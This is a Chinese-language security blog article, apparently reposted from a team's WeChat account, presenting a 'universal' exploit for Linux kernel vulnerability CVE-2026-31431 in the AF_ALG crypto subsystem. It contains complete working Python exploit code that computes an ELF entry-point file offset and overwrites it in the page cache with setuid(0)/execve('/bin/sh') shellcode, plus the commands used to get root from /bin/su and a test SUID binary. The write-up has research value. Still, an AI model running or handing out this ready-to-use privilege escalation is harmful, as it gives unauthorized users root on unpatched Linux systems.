CVE-2026-31431CopyFail通杀版EXP:动态偏移计算实现任意ELF提权

admin 2026-05-12 05:00:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了Linux内核CVE-2026-31431漏洞,该漏洞位于AF_ALG加密子系统,允许非特权用户通过splice()+authencesn机制在内核页面缓存中任意偏移写入4字节数据,实现内核级提权。作者开发了动态计算ELF入口点文件偏移的通用EXP,解决了原版POC依赖硬编码偏移的问题。通过Docker容器环境复现,成功对verify和/bin/su两个不同ELF文件实现提权,验证了EXP的通用性。文章包含完整的漏洞原理分析、ELF结构解析、偏移计算方法和可操作的EXP代码。 综合评分: 87 文章分类: 漏洞分析,二进制安全,红队,安全工具,实战经验


cover_image

CVE-2026-31431 Copy Fail 通杀版 EXP:动态偏移计算实现任意 ELF 提权

原创

shadowabi shadowabi

WgpSec狼组安全团队

2026年5月8日 14:24 北京

在小说阅读器读本章

去阅读

点击蓝字

关注我们

声明

本文作者:shadowabi 本文字数:3029字

阅读时长:约8分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

CVE-2026-31431 是 Linux 内核 AF_ALG 加密子系统中的一个漏洞。通过滥用 splice() + authencesn 的就地解密机制,非特权用户可以在内核的页面缓存(page cache)中以任意偏移量写入 4 字节——而所有由文件备份的内存都使用同一套缓存。这是一个内核级提权漏洞。

原版 POC(theori-io/copy-fail-CVE-2026-31431 https://github.com/theori-io/copy-fail-CVE-2026-31431)硬编码了一个固定的偏移值,只能在特定编译环境下使用,对漏洞复现不够友好。

为此,我重写了一版支持动态计算偏移量的 EXP,可适配不同编译产出的 ELF 文件:shadowabi/CVE-2026-31431-CopyFail-Universal-LPE (https://github.com/shadowabi/CVE-2026-31431-CopyFail-Universal-LPE)

漏洞原理的官方说明:https://copy.fail

环境信息

宿主机为 Windows 11,通过 WSL2 运行 Ubuntu 22.04 LTS 虚拟机作为漏洞复现环境。

为什么用 Docker 容器复现? 容器共享宿主机内核,内核漏洞的利用效果在容器内与

宿主机上一致。使用容器的目的是提供一个干净、可复现的隔离环境,便于销毁和重建。

Docker 版本 29.2.1,运行时 runc v1.3.4。

复现过程

1. 启动容器并准备测试文件

打开 WSL,创建一个 Ubuntu 22.04 容器,编译一个带 SUID 位的测试二进制 verify

docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
&nbsp; cat > /tmp/verify.c << EOF
#include&nbsp;<unistd.h>
#include&nbsp;<stdio.h>
int main() {
&nbsp; &nbsp; printf("uid=%d euid=%d\\n", getuid(), geteuid());
&nbsp; &nbsp; printf("Not rooted - exploit entry point to get shell\\n");
&nbsp; &nbsp; return 0;
}
EOF
&nbsp; gcc -o /usr/local/bin/verify /tmp/verify.c
&nbsp; chmod 4755 /usr/local/bin/verify
&nbsp; useradd -m testuser
&nbsp; su - testuser
'

这段脚本做了以下几件事:

  1. 创建容器并切换为阿里云镜像源
  2. 安装 python3 和 gcc(gcc 仅用于编译测试文件,实际 EXP 不依赖它)
  3. 编译 verify.c 为带 SUID 权限的二进制(chmod 4755),用于后续验证提权效果
  4. 创建低权限用户 testuser 并切换到该用户

切换后,id 和 verify 均显示当前是低权限用户:

2. 写入 EXP

cat > /tmp/exploit.py <<&nbsp;'EXPY'
import os,socket,struct,sys
def d(x):return&nbsp;bytes.fromhex(x)
def w(t,o,p):
&nbsp;s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
&nbsp;s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
&nbsp;u,_=s.accept();z=d('00')
&nbsp;u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
&nbsp;r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
&nbsp;try:u.recv(8+o)
&nbsp;except:0
&nbsp;[os.close(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;[fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for&nbsp;i&nbsp;in&nbsp;range(n):
&nbsp; f.seek(p+i*sz);ph=f.read(sz)
if&nbsp;struct.unpack_from('<I',ph,0)[0]!=1:&nbsp;continue
&nbsp; pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if&nbsp;pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x"&nbsp;% off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes"&nbsp;% len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for&nbsp;i&nbsp;in&nbsp;range(len(sc)//4):
&nbsp;w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" &nbsp;wrote 0x%x: %s"&nbsp;% (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
&nbsp;f.seek(off);vd=f.read(32)
print("verify: %s"&nbsp;% vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

3. 验证动态偏移

先对自编译的 verify 运行 EXP:

python3 /tmp/exploit.py /usr/local/bin/verify

提权成功,当前已是 root 权限。

exit 回到 testuser,再对系统自带的 /bin/su 运行 EXP:

python3 /tmp/exploit.py /bin/su

同样提权成功。

verify 和 /bin/su 是两个完全不同的二进制文件,由不同版本的 gcc 在不同时间编译,entry point 的偏移量截然不同。两者都能成功提权,说明 EXP 的动态偏移计算是有效的——不再依赖硬编码偏移,可适配任意 ELF 文件。


技术细节

ELF Entry Point 动态偏移计算

Exploit 需要知道 shellcode 写到文件的哪个位置。以下内容解释如何从 ELF Header 动态计算 entry point 的文件偏移。

0x01 问题:为什么要计算偏移

Exploit 的写入原语每次往文件写 4 字节,参数是 (文件名, 文件偏移, 数据)

目标:覆写 ELF 的 entry point——程序被 exec 后 CPU 跳转到的第一条指令的地址。

但 ELF Header 里存的是虚拟地址,不是文件偏移。写入原语需要的是文件偏移。所以要做一次映射:

entry 虚拟地址 (vaddr) &nbsp;→ &nbsp;entry 文件偏移 (file offset)

0x02 ELF 结构概览

┌─────────────────────────────────────┐
│ &nbsp;ELF Header &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;offset 0x18 (24): e_entry &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;← 入口虚拟地址
│ &nbsp; &nbsp;offset 0x20 (32): e_phoff &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;← Program Header 表的文件偏移
│ &nbsp; &nbsp;offset 0x36 (54): e_phentsize &nbsp; &nbsp;│ &nbsp;← 每个 Program Header 的大小
│ &nbsp; &nbsp;offset 0x38 (56): e_phnum &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;← Program Header 的数量
├─────────────────────────────────────┤
│ &nbsp;Program Header 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;offset 0x00: p_type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;offset 0x08: p_vaddr &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;offset 0x10: p_offset &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;offset 0x20: p_filesz &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
├─────────────────────────────────────┤
│ &nbsp;Program Header 1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;... &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
├─────────────────────────────────────┤
│ &nbsp;... &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
├─────────────────────────────────────┤
│ &nbsp;.text section &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;entry: &nbsp;← 覆写目标 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
└─────────────────────────────────────┘

关键区分:

  • ELF Header 固定在文件开头,描述整个文件的元信息
  • Program Header 是一个数组,描述文件中各个段(segment)的加载信息
  • 每个 PT_LOAD 段告诉内核:文件的 p_offset 处、长度 p_filesz 的内容,加载到内存的 p_vaddr 处

0x03 计算过程

对应 exploit 代码:

# 第一步:从 ELF Header 读取元信息
with&nbsp;open(sys.argv[1],'rb')&nbsp;as&nbsp;f:
&nbsp; &nbsp; h = f.read(64)

e = struct.unpack_from('<Q', h,&nbsp;24)[0] &nbsp; &nbsp;# e_entry: 入口虚拟地址
p = struct.unpack_from('<Q', h,&nbsp;32)[0] &nbsp; &nbsp;# e_phoff: Program Header 表偏移
n = struct.unpack_from('<H', h,&nbsp;56)[0] &nbsp; &nbsp;# e_phnum: Program Header 数量
sz = struct.unpack_from('<H', h,&nbsp;54)[0] &nbsp;&nbsp;# e_phentsize: 每个 PH 的大小
# 第二步:遍历 Program Header,找到 entry 所在的 PT_LOAD 段
for&nbsp;i&nbsp;in&nbsp;range(n):
&nbsp; &nbsp; f.seek(p + i * sz)
&nbsp; &nbsp; ph = f.read(sz)

&nbsp; &nbsp; p_type = struct.unpack_from('<I', ph,&nbsp;0)[0]
&nbsp; &nbsp;&nbsp;if&nbsp;p_type !=&nbsp;1: &nbsp; &nbsp; &nbsp; &nbsp;# 只看 PT_LOAD (type == 1)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp; p_vaddr &nbsp;= struct.unpack_from('<Q', ph,&nbsp;16)[0] &nbsp;&nbsp;# 段的虚拟地址起始
&nbsp; &nbsp; p_offset = struct.unpack_from('<Q', ph,&nbsp;24)[0] &nbsp; &nbsp;# 段的文件偏移起始
&nbsp; &nbsp; p_filesz = struct.unpack_from('<Q', ph,&nbsp;32)[0] &nbsp; &nbsp;# 段在文件中的大小

&nbsp; &nbsp;&nbsp;# 判断 entry 是否落在这个段里
&nbsp; &nbsp;&nbsp;if&nbsp;p_vaddr <= e < p_vaddr + p_filesz:
&nbsp; &nbsp; &nbsp; &nbsp; file_offset = p_offset + (e - p_vaddr)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

核心公式就一行:

file_offset = p_offset + (entry_vaddr - p_vaddr)

为什么是这样

ELF 加载器把文件中 [p_offset, p_offset + p_filesz) 的内容映射到内存的 [p_vaddr, p_vaddr + p_filesz)。这是一个线性映射,文件偏移和虚拟地址之间是固定的差值:

虚拟地址 &nbsp;= &nbsp;文件偏移 &nbsp;+ &nbsp;(p_vaddr - p_offset)

反过来:

文件偏移 &nbsp;= &nbsp;虚拟地址 &nbsp;- &nbsp;(p_vaddr - p_offset)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= &nbsp;p_offset &nbsp;+ &nbsp;(虚拟地址 - p_vaddr)

所以只要找到 entry 虚拟地址落在哪个 PT_LOAD 段里,就能算出它对应的文件偏移。

0x04 为什么不硬编码偏移

偏移量在不同编译环境下会变:

| 变化因素 | 影响 | | — | — | | gcc 版本不同 | 代码布局策略不同 | | -O0 vs -O2 | 函数排列、内联策略不同 | | 链接的库/顺序 | 段的位置会变 | | 源码改动 | 即使改一行,偏移可能全变 |

所以每次运行都动态解析,而不是硬编码一个 magic number。这样只要目标文件是合法 ELF,exploit 都能正确定位 entry point。

0x05 Shellcode:写入什么内容

计算出偏移后,接下来要决定写入什么。Exploit 使用的 shellcode 分两步:先提权,再拿 shell。

第一段:setuid(0)

sc &nbsp;=&nbsp;b'\x48\x31\xff'&nbsp; &nbsp; &nbsp;&nbsp;# xor rdi, rdi &nbsp; &nbsp; → rdi = 0
sc +=&nbsp;b'\x31\xc0'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor eax, eax &nbsp; &nbsp; → eax = 0
sc +=&nbsp;b'\xb0\x69'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 0x69 &nbsp; &nbsp; → eax = 0x69 (syscall号: setuid)
sc +=&nbsp;b'\x0f\x05'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ setuid(0)

等价于:

setuid(0); &nbsp;// 将 uid 设为 0(root)

如果目标程序是 SUID root 的(比如 sudo),执行时 euid 已经是 0,但 uid 可能不是。setuid(0) 确保 uid 也变为 0,否则后续 execve 出的 shell 仍然不是真正的 root。

第二段:execve(“/bin/sh”)

sc +=&nbsp;b'\x48\x31\xd2'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor rdx, rdx &nbsp; &nbsp; → rdx = 0 (envp = NULL)
sc +=&nbsp;b'\x52'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# push rdx &nbsp; &nbsp; &nbsp; &nbsp; → 栈上放 '\0' 作为字符串结尾
sc +=&nbsp;b'\x48\xbb\x2f\x62\x69\x6e'&nbsp; &nbsp;# movabs rbx, 0x0068732f6e69622f
sc +=&nbsp;b'\x2f\x73\x68\x00'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; → rbx = "/bin/sh\0"
sc +=&nbsp;b'\x53'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# push rbx &nbsp; &nbsp; &nbsp; &nbsp; → "/bin/sh\0" 压栈
sc +=&nbsp;b'\x48\x89\xe7'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov rdi, rsp &nbsp; &nbsp; → rdi 指向栈上的 "/bin/sh"
sc +=&nbsp;b'\x48\x31\xf6'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor rsi, rsi &nbsp; &nbsp; → rsi = 0 (argv = NULL)
sc +=&nbsp;b'\x31\xc0'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor eax, eax &nbsp; &nbsp; → eax = 0
sc +=&nbsp;b'\xb0\x3b'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 0x3b &nbsp; &nbsp; → eax = 0x3b (syscall号: execve)
sc +=&nbsp;b'\x0f\x05'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ execve("/bin/sh", NULL, NULL)

等价于:

execve("/bin/sh",&nbsp;NULL,&nbsp;NULL); &nbsp;// 启动一个 shell

这段 shellcode 的核心技巧是用栈来构造字符串 "/bin/sh\0"——因为 shellcode 不能包含绝对地址(不知道自己被加载到哪里),所以用 push 把字符串压栈,再用 rsp 取地址。

完整流程

setuid(0) &nbsp;→ &nbsp;uid 变为 0
execve("/bin/sh") &nbsp;→ &nbsp;以 root 身份启动 shell

总共 27 字节,补齐到 4 字节对齐后 28 字节。

0x06 写入对齐

sc +=&nbsp;b'\x00'&nbsp;* (4&nbsp;- len(sc) %&nbsp;4) &nbsp; &nbsp;# 补齐到 4 的倍数

for&nbsp;i&nbsp;in&nbsp;range(len(sc) //&nbsp;4):
&nbsp; &nbsp; w(sys.argv[1], off + i *&nbsp;4, sc[i*4&nbsp;: i*4+4])

因为写入原语每次只能写 4 字节,所以 shellcode 必须 4 字节对齐,循环写入 7 次(28 / 4 = 7)。

每次写入的位置是 off + i * 4,即 entry point 偏移开始,逐 4 字节往后覆盖。

0x07 验证

写入后重新读取验证:

with&nbsp;open(sys.argv[1],'rb')&nbsp;as&nbsp;f:
&nbsp; &nbsp; f.seek(off)
&nbsp; &nbsp; vd = f.read(32)
print("verify: %s"&nbsp;% vd[:len(sc)].hex())

验证文件中的内容确实是写入的 shellcode,然后 exec 执行。此时 CPU 跳转到 entry point,执行的就是 shellcode 而非原始代码,完成提权。

作者

shadowabi

自强不息

扫描关注公众号回复加群

和师傅们一起讨论研究~

WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:WgpSec狼组安全团队 shadowabi shadowabi《CVE-2026-31431 Copy Fail 通杀版 EXP:动态偏移计算实现任意 ELF 提权》

评论:0   参与:  0